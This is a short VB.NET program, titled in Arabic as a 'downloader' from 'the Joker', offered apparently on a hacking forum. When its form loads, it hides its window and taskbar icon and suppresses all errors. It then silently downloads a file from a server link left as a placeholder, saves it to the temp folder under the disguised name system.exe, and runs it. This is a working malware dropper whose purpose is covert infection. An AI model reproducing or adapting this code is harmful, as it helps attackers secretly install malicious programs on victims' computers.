كود الدنلورد من الجوكر

Imports System.Net
Public Class Form1
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
        On Error Resume Next
        Me.Hide()
        Me.ShowInTaskbar = False
        Me.ShowIcon = False
        lol()
    End Sub
    Function lol()
        On Error Resume Next
        Using wc = New WebClient()
            wc.DownloadFile("رابط السيرفر مباشر", Environ("temp") & "\system.exe")
            Process.Start(Environ("temp") & "\system.exe")
        End Using
    End Function
End Class